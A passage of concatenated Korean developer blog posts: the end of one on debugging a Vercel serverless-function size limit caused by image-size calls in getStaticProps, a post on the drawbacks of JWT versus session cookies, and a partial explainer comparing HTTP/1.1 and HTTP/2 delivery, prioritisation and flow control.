├ ● /blogs/2020/[...slugs]                                                                                    2.92 kB        96.6 kB
├   ├ /blogs/2020/2020/12/preview-ES2021
├   ├ /blogs/2020/2020/12/javascrpt-async-await-in-map-and-reduce
├   ├ /blogs/2020/2020/12/partitioning-cache
├   └ [+142 more paths]
├ ● /blogs/2021/[...slugs]                                                                                    2.92 kB        96.6 kB
├   ├ /blogs/2021/2021/04/nodejs-multithreading-worker-threads
├   ├ /blogs/2021/2021/04/blog-4.0-update
├   ├ /blogs/2021/2021/03/Lighthouse-CI-with-github-actions
├   └ [+23 more paths]
├ λ /generate-screenshot                                                                                      1.2 kB         83.4 kB
├   └ css/e33eabf74e0f0bf8472d.css                                                                            715 B
├ ● /pages/[id]                                                                                               2.37 kB        90.4 kB
├   ├ /pages/1
├   ├ /pages/2
├   ├ /pages/3
├   └ [+82 more paths]
├ ● /tags                                                                                                     2.04 kB        84.2 kB
└ ● /tags/[tag]/pages/[id]                                                                                    2.45 kB        90.5 kB
    ├ /tags/javascript/pages/1
    ├ /tags/javascript/pages/2
    ├ /tags/javascript/pages/3
    └ [+137 more paths]
+ First Load JS shared by all                                                                                 82.2 kB
  ├ chunks/247.886d94.js                                                                                      5.1 kB
  ├ chunks/288.d236ff.js                                                                                      9.12 kB
  ├ chunks/597.82ffaf.js                                                                                      13.3 kB
  ├ chunks/733.36e935.js                                                                                      6.2 kB
  ├ chunks/framework.8d065a.js                                                                                42 kB
  ├ chunks/main.7713a1.js                                                                                     168 B
  ├ chunks/pages/_app.64b1f5.js                                                                               5.28 kB
  ├ chunks/webpack.86b2b5.js                                                                                  993 B
  └ css/d1cedbca7f6cf6142911.css                                                                              6.07 kB

λ  (Server)  server-side renders at runtime (uses getInitialProps or getServerSideProps)
○  (Static)  automatically rendered as static HTML (uses no initial props)
●  (SSG)     automatically generated as static HTML + JSON (uses getStaticProps)
   (ISR)     incremental static regeneration (uses revalidate in getStaticProps)
```

최초에 `[...slug].js`가 문제라고 했기 때문에, 나는 `[...slug].js]`를 년도 별로 쪼개서 빌드를 해보았는데, 세개를 다 쪼개 봐도 다합쳐서 50mb가 되지 않았다. 그러나 역시나 vercel에서는 빌드가 되지 않았다. 그리고 CS 담당자가 내 github을 포크해서 빌드해보았는데, 역시나 같은 문제가 나고 있었다.

이 단계에서부터 CS 팀 응답이 뜸해지기 시작했다. (pro계정이지만 그보다 더 높은 티어의 고객의 문제를 상담하느라 지연되고 있다고 했다.) 그리고 이 때부터 굉장히 화가나서 (일도 많았고) digital ocean으로 갈아탈 준비를 마쳐두었다. digital ocean이 프로젝트당 20달러를 받고 있어서 굉장히 비쌌지만, (vercel은 계정 당 20달러) vercel에 비해 기능도 많고 복잡했다. 어차피 공짜로 100$가 주어진 김에, 그 돈으로 넘어가려고 설정을 다 마쳐두었다.

```yaml
domains:
  - domain: yceffort.kr
    type: PRIMARY
    zone: yceffort.kr
name: yceffort-blog-v-2
region: sgp
services:
  - build_command: npm run build
    environment_slug: node-js
    github:
      branch: main
      deploy_on_push: true
      repo: yceffort/yceffort-blog-v2
    http_port: 3000
    instance_count: 1
    instance_size_slug: professional-s
    name: yceffort-blog-v-2
    routes:
      - path: /
    run_command: npm start
```

그러다가 한 일주일이 흐른 뒤에 내가 원하던 답이 왔다.

> There are quite a few images included in the new deployment that amounted to the increased size that caused the failure. What the engineers suggest is that you do the following Instead of gathering the sizes of images in getStaticProps which is causing these files to be included, you could move these to a pre-build script that outputs just the sizes to a JSON file and use this instead.

https://github.com/yceffort/yceffort-blog-v2/blob/0fdc55ba753aaa5f41ecebb7e0b9215af67accdb/src/utils/Markdown.ts#L123-L135

```javascript
const imageURL = `/${imgPath}/${imageNode.url.slice(imageIndex)}`

const dimensions = sizeOf(imagePath)

imageNode.type = 'jsx'
imageNode.value = `<Image
  alt={\`${imageNode.alt}\`}
  src={\`${imageURL}\`}
  width={${dimensions.width}}
  height={${dimensions.height}}
/>`
```

이 무렵에 블로그의 대대적인 개편이 있었고, 마크다운을 jsx로 말아주는 과정에서 jsx에 이미지의 정확한 사이즈의 계산하도록 [image-size](https://github.com/image-size/image-size)를 사용하고 있었다. 이 코드는 `getStaticProps`에서 미리 static한 파일을 만드는 과정에서 사용되고 있었고, 이 과정에서 이 코드가 계속해서 실행되면서 이미지 크기만큼 `[...slug].js`의 크기가 커져가고 있었던 것이었다.

그래서 그 과정에서 이미지 크기를 계산하는 대신에, 빌드 이전에 `public/`아래에 있는 모든 이미지의 크기를 다 계산해둔 다음 해당 이미지들의 사이즈 정보가 담긴 파일을 `json`으로 떨궈두고, 여기에 있는 이미지 크기만 가져다 쓰도록 변경했다.

근데 왜 이전 빌드에서는 정상적으로 성공했던 것일까? 그 원인은 vercel 빌드시스템의 버그 때문이었다.

> Since the previous commit that was successful, we have fixed tracing for webpack 5 which would explain why you didn't previously hit the serverless function size since node-file-trace wasn't correctly capturing dependencies with webpack 5 which it is now.

- https://github.com/vercel/nft/pull/186
- https://github.com/vercel/nft/issues/185
- https://github.com/vercel/next.js/issues/23894
- https://github.com/vercel/next.js/issues/23668

추가로 모든 이미지들에 대해서 최적화 작업을 진행했다. [이 포스트](/2021/05/compress-all-images-in-directory)가 나온건 그 때문이었다.

## 마치며

어쨌거나, vercel의 잘못이었기 때문에 (내 잘못도 없는 건 아니지만) vercel 측에서는 지난달 요금을 모두 환불해주고, 나도 next의 팬으로서 digital ocean으로 넘어갔던 블로그를 다시 vercel로 돌려놓았다. 나의 부족한 영어실력 때문인지, 아니면 바빴던 vercel CS 팀의 문제인지는 모르겠지만 문제의 난이도에 비해 해결하는데 너무 오랜 시간이 걸렸다 (거의 3주 가량)

그래도, 외국에 있는 CS 팀과 이야기 해본건 좋은 경험이었다. 그리고 vercel의 [node-file-trace](https://github.com/vercel/nft)에 대해 알게된 것도 좋았다. 이제 여기가 어떻게 돌아가고 있는지 조금이나마 상상해볼 수 있었다. 더불어, digital ocean도 경험해볼 수 있어서 좋았다. 잘 쓸 것 같지는 않지만 =서도.

---

Source: https://yceffort.kr/2021/05/drawback-of-jwt.md
Title: JWT의 단점과 주의사항
Description: 공부할게 정말 많습니당 222
Date: 2021-05-15
Tags: security, authentication

## Cookies

웹 애플리케이션을 설계 할 때, 어떻게 사용자를 로그인시키고, 해당 요청 사이에 사용자 정보를 유지시킬 지에 대한 고민을 해본 경험이 있을 것이다. 이를 위해 사용하는 핵심 메커니즘은 쿠키다. 쿠키는 서버가 클라이언트에 보내는 작은 문자열이다. 클라이언트가 이 문자열을 수신한 뒤에, 이후 요청에서 이 문자열을 반복한다. 예를 들어 쿠키에 `user_id`를 저장할 수 있으며, 향후 요청시에 클라이언트의 `user_id`를 반복적으로 알아 낼 수 있다.

```text
Cookie: USER_ID=123
```

하지만 이는 보안에 취약하다. 이 정보는 브라우저에서 볼 수 있으며, 사용자가 `user_id`를 변경해서 다른 유저인 척 할 수도 있다.

## Sessions

이 문제를 해결하는 방법으로는 session이 있다. 종종 세션과 쿠키는 서로 다른 것으로 묘사되지만, 그렇지 않다. 세션이 작동하기 위해서는 쿠키가 필요하다.

```text
Cookie: MY_SESSION_ID=WW91IGdvdCBtZS4gRE0gbWUgb24gdHdpdHRlciBmb3IgYSBmcmVlIGNvb2tpZQ
```

`user_id`를 예측할 수 있게 하는 대신에, 클라이언트에 완전히 랜덤으로 생성된 session id를 전송하여 이게 무엇인지 알 수 없게 한다. ID는 그 외에 어떠한 의미도 가족 있지 않으며, 무엇으로도 decode 될 수 없다. 이를 `opaque token`이라고도 한다.

클라이언트가 서버로 반복해서 이 session id를 보내면, 서버는 이 id를 참고하여 데이터베이스에서 유저를 식별하여 연결 시킨다. 사용자가 로그아웃을 하게 되면, 이 session id는 데이터베이스에서 사라지게 되며, 더 이상 이 쿠키로는 해당 사용자를 식별 할 수 없게 된다.

### 세션 데이터는 어디에 저장되어야 하는가?

PHP와 같은 경우에는 기본적으로 로컬 파일시스템에 데이터를 저장할 수 있다. node.js에는, 메모리에 데이터를 저장하며 서버가 재시작 되면 해당 데이터는 사라지게 된다.

이러한 접근 방식은 개발자 컴퓨터나, 배포가 거의 없는 호스팅 사이트에서는 정상적으로 작동할 수도 있지만, 요즘 배포는 완전히 새로운 시스템을 구성해서 구축하므로, 이 정보를 서버보다 오래 사는 곳에 저장해야 한다. 가장 쉽게 선택할 수 있는 옵션은 데이터 베이스다. Redis, memcached를 사용하는 것이 일반적이다. 이 시스템은 사이트의 규모에 상관 없이 잘 작동한다.

## 암호화된 토큰

몇년 전 부터 [JWT](https://jwt.io/)가 등장했다. `JWT`는 JSON객체를 암호화/서명하는 표준이며, 인증을 처리하는데 사용된다. 쿠키에 앞서 설명한 `opaque token`을 사용하는 대신에, 실제 `user_id`를 심어둘 수 있는데, 여기에 서명이 추가된다. 이 서명은 서버에서만 생성될 수 있으며, 이는 `secret` 값을 활용하여 계산되고 쿠키에 데이터 형태로 저장된다.

이 말인 즉슨, 데이터가 변형될 경우 (`user_id`가 변경될 경우) 더 이상 이 서명은 의미가 없게 된다는 뜻이다.

이 방법의 가장 큰 장점은, 시스템에서 Redis나 다른 DB를 사용할 필요 없이 세션 데이터를 저장할 수 있다는 것이다. 모든 정보는 JWT에 있으며, 인프라가 더욱 가벼워 질 수 있다. 별도로 사용자 정보를 요청할 필요가 없으므로 데이터 요청이 조금더 가벼워 질 수 있다.

## 단점

그러나 이러한 JWT에는 몇가지 단점이 존재한다.

첫번째로, JWT는 매우 복잡한 표준이어서 사용자가(개발자) 잘못 이해할 가능성이 있다. 설정이 잘못되는 경우 최악에 모든 사용자가 유효한 JWT를 생성해서 다른 사용자인척 할 수 있다. 이는 초보개발자들 사이에서 나오는 실수가 아니고, 실제로 [Auth0에서 이러한 버그를 만들어낸 적이 있다.](https://insomniasec.com/blog/auth0-jwt-validation-bypass) 이는 [많은 보안 전문가들이 JWT를 싫어하게 되는 이유 중 하나](https://paragonie.com/blog/2017/03/jwt-json-web-tokens-is-bad-standard-that-everyone-should-avoid)가 되었다. JWT는 수많은 기능을 제공하고 있기 때문에, 개발자들이 잠재적으로 실수 할 수 있는 범위가 넓다.

두번째로, 로그아웃에 문제가 있다. 전통적인 세션을 활용하는 방법의 경우, 단순히 세션 스토리지에서 해당 세션 값을 날리면 되었고 이것으로 충분했다. 그러나 JWT와 다른 무상태 (stateless) 토큰으로는 이것이 불가능하다. 우리는 이 토큰을 지울 수 없다. 왜냐하면 이는 스스로 정보를 담고 있는 토큰이며, 토큰의 상태를 관리하는 중앙 인증 관리 시스템이 없기 때문이다. 이는 아래 세가지 방법으로 해결할 수 있다.

1. 토큰의 생명 주기를 굉장히 짧게 하는 방법 (5분 이내). 해당 시간이 지나면, 새롭게 토큰을 만든다.
2. 시스템에서 최근에 만료된 토큰을 저장해 두는 것
3. 서버 로그아웃 기능 자체를 없애고, 클라이언트에 토큰 삭제를 맡기는 방법
   좋은 시스템의 경우엔 앞에 두가지 방법을 선택한다. 그러나 두 문제의 해결책에서 볼 수 있는 것처럼, 두 방법은 모두 중앙에서 인증을 관리해야 하는 시스템이 필요하며 이는 더 이상 JWT의 장점을 유효하지 않게 만든다.

마지막으로, JWT의 크키는 상대적으로 크기 때문에, 쿠키에 JWT를 담을 경우 오버헤드가 발생한다는 것이다.

## 그런데 왜 유명해졌을까?

기술 블로그를 읽을 때 놀라운 것 중 하나는, JWT에 대해 논하는 사람이 많다는 것이다. 그렇다고 JWT가 세션 토큰 보다 인기 있다는 것은 아니다. 마찬가지로 GraphQL이 REST 보다, No SQL이 관례형 데이터베이스보다 인기 있다는 것은 아니다. 10년 이상 시도되고 테스트된 기술에 대해 이야기하는 것은, 그다지 흥미롭지 않기 때문이다. 신기술은 이전 기술보다 더 많은 화제를 불러일으키고, 사람들이 이 신기술에 대해 계속 이야기 한다면, 단순히 차선책임에도 불구하고 실제 채택으로 이루어질 수도 있다.

이것은 마치 요즘 새로운 개발자들이 서버에서 렌더링되는 HTML을 배우기전에, 리액트로 SPA를 배우는 것과 비슷하다. 경험 많은 개발자들은 서버 사이들 렌더링 HTML이 기본이 되어야 한다고 느낄 것이다. 그리고 필요할 때 SPA를 사용해야 하지만, 새로운 개발자들은 일반적으로 그렇게 배우고 있지 않다.

JWT를 선호하는 이유 중 가장 큰 것은 '확장성' 이다. 그러나 사람들은 '어떤 규모의 확장성' 에서 문제를 겪게 될지를 인지하고 있지는 못하는 것 같다. 대부분의 사람들이 생각하는 문제가 발생할 수 있는지점은, 일반적으로 가정하고 있는 지점 보다 훨씬 더 높은 곳에 있을 것이다.

예를 들어, 우리가 운영하는 사이트는 페이스북 규모가 아니다. 페이스북 규모 정도, 몇백만개의 유효한 세션이 존재할 수 있는 상황에서야 비로소 key-value 세션의 문제가 나타날 수 있다.

그러나 통계적으로, 우리가 만드는 라즈베리파이에서도 쉽게 돌아갈 수 있는 애플리케이션이다.

## 결론

JWT를 사용하면, 속성을 추가할 수 있고 경우에 따라 서비스가 stateless 해질 수도 있으며, 이는 일부 아키텍쳐에서 바람직한 모습이 될 수도 있다. 그러나 여기에는 단점이 존재한다. 단순히 세션 저장소와 `opaque token`을 추가하는 것보다 훨씬 더 복잡한 인프라를 구축해야 한다. 단순히 JWT를 쓰지말라는 것은 아니라, 선택을 함에 있어서 매우 신중해야 한다는 것이다. 보안 및 기능의 트레이드 오프에 유의해야 한다. bolierplate의 템플릿에 넣지말고, 기본 값으로 JWT를 채택해서는 안된다.

https://evertpot.com/jwt-is-a-bad-default/

---

Source: https://yceffort.kr/2021/05/http1-vs-http2.md
Title: HTTP1 vs HTTP2
Description: 공부할게 정말 많습니당
Date: 2021-05-12
Tags: web-performance

## HTTP/1.1 vs HTTP/2

HTTP(Hypertext Transfer Protocol)는 1989년에 만들어진 월드 와이드 웹의 통신 표준이다. 1997년 HTTP/1.1이 릴리즈된 이래로 프로토콜이 거의 수정된 적이 없었다. 그러나 2015년에는 HTTP/2 버전이 나오면서 사용되기 시작했다. 이 버전에서는 모바일 플랫폼, 서버 집약적인 그래픽과 비디오를 다룰 때 레이턴시를 줄일 수 있는 여러가지 방법을 제공하였다. HTTP/2는 그 이후로 점점더 많은 인기를 얻어서 현재는 모든 웹사이트의 1/3 정도가 HTTP/2를 지원하는 것으로 알려져 있다.

이 글에서는, HTTP/1.1과 HTTP2의 차이점을 알아보고, HTTP/2가 보다 효율적인 웹 프로토콜을 만들기 위해 채택한 기술적 변화를 살펴보자.

### 배경

HTTP/2가 HTTP/1.1에서 변경된 내용을 살펴보려면, 각 버전 별로 과거 어떻게 개발되었는지를 살펴볼 필요가 있다.

### HTTP/1.1

1989년 Timothy Berners-Lee가 월드 와이드 웹의 통신 표준으로 개발한 HTTP는 클라이언트 컴퓨터와 로컬 또는 원격 웹 서버간에 정보를 교환하는 최상위 애플리케이션 프로토콜이다. 이 프로세스에서는 클라이언트는 `GET` `POST`와 같은 메소드를 호출하여 텍스트 기반 요청을 보낸다. 이에 대한 응답으로 서버는 HTML 페이지나 리소스를 클라이언트를 보낸다.

예를 들어, www.example.com 도메인 웹사이트로 방문한다고 가정해보자. 이 URL로 이동하면, 웹 브라우저가 텍스트 기반 메시지 형식으로 HTTP 요청을 날린다.

```text
GET /index.html HTTP/1.1
Host: www.example.com
```

이 요청은 `GET` 메소드를 사용하였으며, `Host:`뒤에 나열된 서버에 데이터를 요청한다. 이 요청에 대한 응답으로, `example.com` 서버는 이미지, 스타일시트, 기타 HTML 의 리소스 등과 함께 HTML 페이지를 리턴한다. 한가지 알아둬야 할 것은, 첫 번째 데이터 호출 시에 모든 리소스가 클라이언트로 반환되는 것은 아니다. 웹 브라우저가 화면의 HTML 페이지를 렌더링하는데 필요한 모든 데이터를 받을 때까지 요청과 응답이 서버와 클라이언트를 왔다갔다 한다.

이런 요청과 응답의 교환은 transfer layer(일반적으로 TCP)와 network layer (IP) 의 최상단에 위치한 인터넷 프로토콜 스택의 단일 애플리케이션 계층으로 생각할 수 있다.

![Protocol Stack](https://assets.digitalocean.com/articles/cart_63893/Protocol_Stack.png)

### HTTP/2

HTTP/2는 압축, 멀리플렉싱, 우선순위 지정 등의 기술을 사용하여, 웹 페이지 로드 레이턴시를 줄이려는 목적으로 구글에서 개발한 SPDY 프로토콜로 시작된 기술이다. 그 이후로 2015년 5월 HTTP/2가 발표되었다. 처음 부터 많은 모던 브라우저들이 표준화 작업을 지원했다. 이러한 지원 덕분에, 많은 인터넷 사이트들이 2015년 이후로 이 프로토콜을 채택하기 시작했다.

기술적인 관점에서, HTTP/2와 HTTP/1.1을 구별하는 가장 중요한 기능 중 하나는 인터넷 프로토콜 스택에서 애플리케이션 계층의 일부로 간주되는 binary framing layer다. 모든 요청과 응답을 일반 텍스트 형식으로 관리하는 HTTP/1.1과는 다르게, HTTP/2는 모든 메시지를 이진 형식으로 캡슐화 하는 동시에 verb, 메서드, 헤더 등의 HTTP 문법을 유지한다. 애플리케이션 layer api는 여전히 전통적인 HTTP 형식으로 메시지를 만들지만, 그 하단의 레이어는 이러한 메시지를 이진수로 변환한다. 이렇게 하면 HTTP/2 이전에 작성된 웹 애플리케이션이 새 프로토콜과 상호작용 할 때 정상적으로 작동할 수 있다.

메시지를 이렇게 2진수로 변환하면, HTTP/2가 HTTP/1.1에서는 사용할 수 없는 데이터 전송에 대한 새로운 접근 방식을 시도할 수 있다.

## Delivery Model

앞서 언급했던 것처럼 HTTP/1.1과 HTTP/2는 같은 문법을 공유한다. 두 프로토콜 모두 서버와 클라이언트 사이를 이동하는 요청은 `GET` `POST` 같은 익숙한 방법을 사용하여, 세더와 본문이 있는 전통적인 형식의 메시지로 목적지에 도달하도록 한다. 그러나 HTTP/1.1은 이것을 일반 텍스트로 전달하는 방면, HTTP/2는 이를 이진수로 코딩한다.

### HTTP/1.1 - Pipelining and Head-of-Line Blocking

클라이언트가 HTTP GET 요청에서 받는 최초의 응답은 가끔씩 완전히 렌더링 할 수 있는 페이지 형태가 아닐 수 있다. 이 페이지에 추가로 필요한 리소스의 링크가 포함되어 있다. 클라이언트는 페이지를 다운로드를 한 이후에야 비로소 페이지의 전체 렌더링에 추가로 리소스가 필요한 것을 알게 된다. 이로 인해 클라이언트는 이러한 리소스를 추가로 요청해야 한다. HTTP/1.0에서는 클라이언트는 모든 새로운 요청을 위해 TCP 연결을 끊고 새로 연결을 만들어야 해서 시간과 리소스 측면에서 많은 비용이 들었다.

HTTP/1.1은 영구적 연결(persistent connection)과 파이프라인을 도입하여 이 문제를 해결한다. 영구적인 연결을 사용하면 TCP 연결을 닫으라고 직접 요청하지 않는 이상 계속해서 연결을 열어둔다. 이를 통해 클라이언트는 동일한 연결을 통해 여러 요청의 각각의 응답을 기다리지 않고 전송할 수 있다.따라서 1.1에서 크게 성능이 향상되었다.

하지만 안타깝게도 이 최적화 전략에는 피할 수 없는 병목현상이 존재한다. 동일한 대상으로 이동할 때 여러 데이터 패킷이 동시에 통과할 수 없기 때문에, 대기열 앞에 있는 요청이 이후의 모든 요청이 차단되어 버린다. 이는 HOL (Head of line) 블로킹으로 알려져 있으며, HTTP/1.1에서 연결 효율성을 최적화 하는데 있어 중요한 문재다. 별도의 병렬 TCP 연결을 추가하면 이러한 문제를 완화할 수는 있지만, 클라이언트와 서버간에 동시에 연결할 수 있는 TCP숫자는 제한이 있으며, 새로운 연결은 상당한 리소스를 필요로 한다.

### HTTP/2 - 이진 프레임 레이어의 장점

HTTP/2의 이진 프레임 레이어는 요청과 응답을 인코딩 하고 이를 더 작은 패킷으로 잘라 데이터 전송의 유연성을 향상 시킨다.

HOL 블로킹의 영향을 줄이기 위해 여러개의 TCP 연결을 사용하는 HTTP/1.1과는 다르게, HTTP/2는 두 컴퓨터 사이에 단일 연결 개체를 설정한다. 이 연결에는 여러 데이터 스트림이 있다. 각 스트림은 요청/응답 형식의 여러메시지로 구성된다. 마지막으로 이러한 각 메시지는 프레임이라는 작은 단위로 분할 된다.

![connection](https://assets.digitalocean.com/articles/cart_63893/Streams_Frames.png)

가장 세분화된 레벨에서, 통신 채널은 각각 특정 스트림에 태그가 지정된 이진 인코딩 프레임 다발로 구성된다. 이렇게 만들어진 태그를 사용하면, 전송의 반대쪽 끝에서 다시 재조립할 수 있다. 인터리빙된 요청과 응답은, 멀티플렉싱이라는 프로세스 뒤에서 메시지를 차단하지 않고 병렬로 실행이 가능해진다. 멀티플렉싱은 다른 메시지가 완료될 때 까지 기다릴 필요가 없도록 하여, HTTP의 HOL 문제를 해결한다. 이는 서버 와 클라이언트가 동시에 요청과 응답을 보낼 수 있다는 것을 의미하므로, 제어 능력을 높이고 연결을 보다 효율적으로 관리할 수 있다.

> 통신에서 다중화(Multiplexing 혹은 MUXing)라는 용어는 두개 이상의 저수준의 채널들을 하나의 고수준의 채널로 통합하는 과정을 말하며, 역다중화(inverse multipleing, demultiplexing, demuxing) 과정을 통해 원래의 채널 정보들을 추출할 수 있다. 각각의 채널들은 미리 정의된 부호화 틀(coding scheme)을 통해 구분할 수 있다.

https://ko.wikipedia.org/wiki/%EB%8B%A4%EC%A4%91%ED%99%94_(%ED%86%B5%EC%8B%A0)

멀티플렉싱은 클라이언트가 여러 스트림을 병렬적으로 구성할 수 있게 해주기 때문에, 이들 스트림은 단일 TCP 연결만 사용하면 된다. 출처당 하나의 영구적인 접속은 네트워크 전체의 메모리와 처리 공간을 줄임으로써 HTTP/1.1에서 성능향상을 가져올 수 있게 된다. 네트워크 및 대역폭 활용도가 향상되어 전체 운영 비용이 절감된다.

클라이언트와 서버가 여러 요청과 응답에 대해 동일한 보안 세션을 재사용할 수 있으므로, 단일 TCP연결을 바탕으로 HTTPS 프로토콜의 성능도 향상된다. HTTPS에서는 TLS 또는 SSL 핸드셰이크 중에는 양 측이 모두 세션내내 단일 키를 사용하는 것에 동의 한다. 연결이 끊어지면 새로운 세션이 시작되므로, 추가 통신을 위해 새로운 키가 필요하다. 따라서 단일 연결을 유지하면, HTTPS 를 위해 필요한 리소스를 크게 줄일 수 있다. HTTP/2 규격에서 TLS 계층을 사용하도록 의무화 하지 않지만, 대부분의 브라우저는 HTTPS를 사용하는 HTTPS/2 만 지원한다.

이진 프렐임 레이어에 내재된 멀티플렉싱이 HTTP/1.1의 특정 문제를 해결하지만, 동일한 리소스를 기다리는 다중 스트림은 여전히 문제를 일으킬 수 있다.

### HTTP/2 - 스트리밍 우선순위

Stream prioritization 동일한 리소스를 두고 경쟁이 일어나는 요청 사이의 문제를 해결할 뿐만 아니라, 개발자가 애플리케이션 성능을 더 잘 최적화 하기 위해 요청의 상대적 가중치를 정의할 수 있도록 도와준다.

아시다시피, 이진 프레임 레이어는 메시지를 병렬 데이터 스트림으로 구성한다. 클라이언트가 서버에 동시 요청을 보낼때, 각 스트림에 1 부터 256 사이의 가중치를 할당하여 요충 중인 응답의 우선순위를 지정할 수 있다. 숫자가 클 수록 우선순위 앞쪽에 있다. 이외에도 클라이언트는 각 스트림의 종속성을 ID로 지정하여 명시한다. 상위 ID가 없다면 루트 스트림에 종속된 것으로 간주된다. 아래 그림을 살펴보자.

![stream-priority](https://assets.digitalocean.com/articles/cart_63893/Stream_Priority2.png)

위 그림에서, 채널은 각 고유한 ID와 가중치를 가진 6개의 스트림이 포함되어 있다. 스트림1에는 부모 ID가 없으므로, 루트에 종속된 것으로 간주한다. 다른 그밖에 모든 스트림엔 부모 ID가 표시되어 있다. 각 스트림에 대한 리소스 할당은, 해당 스트림의 가중치와 필요한 종속성을 기반으로 한다. 예를 들어, 그림에서 동일한 가중치와 동일한 부모 스트림에 할당된 5, 6은 리소스 할당에 동일한 우선순위를 가진다.

![dependency-tree](https://assets.digitalocean.com/articles/cart_63893/Dependency_Tree.png)

이 종속성 트리에서, 스트림1의 경우 루트에 의존하고, 루트에서 파생된 또다른 스트림이 없으므로 사용 가능한 모든 리소스가 다른 리소스보다 1에 먼저 할당된다. 스트림 2의 경우, 스트림1이 완료에 따라 달라 지므로 1이 완료될 때까지 2가 가지 않는다. 3, 4는 어떨까? 이는 모두 스트림2에 따라 달라진다. 2번 스트림은 3, 4보다 먼저 가용 리소스를 확보한다. 2의 작업이 완료되면, 3, 4는 리소스를 얻는데 가중치에 따라서 2:4로 분할되므로, 스트림 4에 대한 리소스 청크가 더 커진다. 3이 완료 되면, 5 와 6의 차례인데, 이 두개는 동일한 리소스를 얻게 된다. 스트림 4가 더 높은 리소스 청크를 수신하더라도, 4의 작업이 완료되기 전에 5, 6이 발생할 수 있다. 즉, 하위 레벨 스트림은 상위 레벨 스트림이 끝나는 순간에 즉시 시작할 수 있다.

애플리케이션 개발자는, 필요에 따라서 요청 가중치를 설정할 수 있다. 예를 들어, 웹 페이지에 미리보기 이미지를 먼저 제공한 뒤에, 고해상도 이미지를 로딩하는데 낮은 우선순위를 부여할 수 있다. HTTP/2는 이러한 가중치 할당 기능을 제공함으로써 개발자가 웹 페이지 렌더링을 더 잘 제어할 수 있도록 도와준다. 또한 프로토콜은 클라이언트가 사용자 인러택션에 대흥하여, 런타임 시에 종속성을 변경하고 가중치를 재 핼당 할 수 있도록 한다. 그러나 특정 스트림의 특정 리소스 액세스가 차단되는 경우에는, 서버 자체에서 우선순위를 변경할 수도 있다.

## 버퍼 오버플로우

두 시스템 간 TCP 연결에서, 클라이언트와 서버 모두 아직 처리되지 않은 수신요청을 보관하는데 사용할 수 있는 일정 크기의 버퍼 공간이 있다. 이러한 버퍼는 다운/업스트림 연결의 고르지 못한 속도나, 큰 요청에 대해서 유연하게 처리할 수 있다.

그러나 이러한 버퍼가 크지 않은 상황이 있을 수도 있다. 예를 들어, 서버가 제한된 버퍼 크기나 낮은 대역폭으로 인해 클라이언트 애플리케이션이 처리할 수 없는 속도로 많은 양의 데이터를 푸쉬하고 있을 수도 있다. 마찬가지로 클라이언트가 서버에 대용량 이미지나 비디오를 업로드 할 때 서버 버퍼가 오버 플로우 되어 패킷 손실이 일어날 수도 있다.

일어한 버퍼 오버 플로우를 방지하려면, 흐름제어 메커니즘은, 송신자가 수신자를 데이터로 압도하는 것을 방지해야 한다.

### HTTP/1.1

HTTP/1.1에서 흐름제어 메커니즘은, TCP 연결에 의존한다. 연결이 시작되면, 클라이언트와 서버 모두 시스템 기본설정을 사용하여 버퍼 크기를 세팅해둔다. 수신자의 버퍼크기가 데이터로 채워지면, 버퍼에 남아있는 사용공간을 알려준다. 이러한 수신 윈도우는 ACK 패킷이라고 불리우는 시그널로 전송된다. 이 크기가 0이 되면, 클라이언트가 내부 버퍼를 지운다음 다음 데이터 전송을 다시 시작할 수 있도록 요청 할 때까지 발신자는 더 이상 데이터를 보내지 않는다. 여기서 주목해야할 점은, TCP 연결을 기반으로 하는 수신을 사용하면, 연결의 어느 한쪽 끝에만 흐름제어를 구현할 수 있다는 것이다.

HTTP/1.1은 버퍼 오버플로우를 피하기 위해 transport layer에 의존하므로, 각각의 새로운 TCP 연결은 별도의 흐름 제어 메커니즘을 필요로 한다.

### HTTP/2

HTTP/2에서는, 단일 TCP 연결 내에서 데이터 스트림을 멀티플렉싱한다. 따라서 TCP 연결 레벨의 수신으로는 개별 스트림의 전송을 규제하는 것이 어렵다. 그래서 HTTP/2는 클라이언트와 서버가 transport layer에 의존하는 대신, 자체적인 흐름제어를 구현하도록 허용함으로써 이문제를 해결한다. application layer은 사용가능한 버퍼 공간을 통신하여, 클라이언트와 서버사이에서 멀티플렉스 스트림 수준에서 수신 창을 설정할 수 있도록 해준다. `WINDOW_UPDATE` 프레임을 통해서, 초기 연결후 흐름 제어 컨트롤을 제어하거나 수정할 수 있다.

이 방법은, application layer 레벨에서 데이터 흐름을 제어하기 때문에, 흐름 제어 메커니즘은 수신 창을 조정하기 전에 신호가 최종 목적지에 도달하는 것을 기다릴 필요가 없다. 중간 노드는 흐름제어 설정 정보를 참고하여 자체 리소스 할당을 결정하고, 그에 따라 수정이 가능해진다. 이러한 방식으로 각 중간 서버는 고유한 커스텀 리소스 전략을 구현하여 연결의 효율성을 높일 수 있다.

이러한 흐름 제어 유연성은, 적절한 리소스 전략을 생성할 때 유리해질 수 있다. 예를 들어, 클라이언트는 첫번째 이미지를 먼저 표시하고, 더 중요한 리소스를 가져오는 동안 그 이미지를 미리 볼 수 있도록 할 수 있다. 클라이언트가 중요한 리소스를 가져오면, 브라우저는 이미지의 나머지 부분을 다시 가져 온다. 따라서 흐름 제어 구현을 클라이언트와 서버로 미루면 웹 애플리케이션의 성능을 향상 시킬 수 있다.

## 리소스 요청 예측

일반적인 웹 애플리케이션에서는, 클라이언트는 GET 요청을 보내서 HTML 페이지를 수신한다. (index.html) 이 index.html의 내용을 검사하는 동안, 클라이언트는 CSS 및 자바스크립트 파일과 같은 추가 리소스를 가여좌야 한다는 것을 발견한다. 클라이언트는 이러한 초기 GET 요청으로 부터 응답을 받은 후에만, 추가 리소스가 존재한다는 것을 알 수 있으므로, 이러한 리소스를 가져오고 페이지를 완성하기 위해 추가 요청을 해야한다. 따라서 추가적인 요청은 어쩔 수 없이 연결 로드 시간을 증가 시킨다.

그러나 이 문제는 해결책이 있다. 서버는 클라이언트가 추가 파일을 필요로 한다는 것을 미리 알 수 있기 때문에, 서버가 이러한 요청을 받기전에 리소스를 클라이언트로 전송하여 시간을 절약할 수 있다.

### HTTP/1.1 - 리소스 인라이닝

이 기술은, 서버가 초기 GET에 응답하여 보내는 HTML 문서에 직접 필요한 리소스를 포함해서 보내줄 수 있다. 클라이언트가 페이지를 렌더링하기 위해 CSS 파일이 필요한 경우, 해당 요청이 오기전에 필요한 리소스를 제공하여 클라이언트가 보내야하는 요청수를 줄인다.

